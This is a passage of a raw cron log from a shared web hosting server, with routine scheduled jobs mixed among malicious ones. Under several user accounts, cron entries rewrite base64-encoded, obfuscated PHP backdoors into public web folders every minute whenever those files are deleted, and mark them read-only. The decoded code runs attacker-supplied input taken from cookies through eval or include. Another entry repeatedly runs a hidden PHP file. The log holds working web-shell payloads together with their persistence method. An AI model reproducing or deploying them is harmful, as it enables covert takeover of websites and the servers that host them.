ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:41:01 medusa CROND[12149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:41:01 medusa CROND[12148]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 05:41:01 medusa CROND[12156]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:41:01 medusa CROND[12159]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:41:01 medusa CROND[12160]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:42:02 medusa CROND[3139]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:42:02 medusa CROND[3346]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:42:02 medusa CROND[3349]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 05:42:02 medusa CROND[3350]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:42:02 medusa CROND[3351]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:42:02 medusa CROND[3352]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 05:42:02 medusa CROND[3353]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:42:02 medusa CROND[3354]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:42:02 medusa CROND[3356]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:42:02 medusa CROND[3355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:42:02 medusa CROND[3358]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:42:02 medusa CROND[3362]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:42:02 medusa CROND[3363]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:43:02 medusa CROND[21133]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:43:02 medusa CROND[21135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 05:43:02 medusa CROND[21136]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:43:02 medusa CROND[21137]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 05:43:02 medusa CROND[21138]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 05:43:02 medusa CROND[21139]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 05:43:02 medusa CROND[21142]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 05:43:02 medusa CROND[21156]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 05:43:02 medusa CROND[21158]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 05:43:02 medusa CROND[21162]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:43:02 medusa CROND[21164]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:43:02 medusa CROND[21165]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  2 05:43:02 medusa CROND[21167]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 05:43:02 medusa CROND[21182]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:44:01 medusa CROND[6954]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 05:44:01 medusa CROND[6958]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 05:44:01 medusa CROND[6959]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
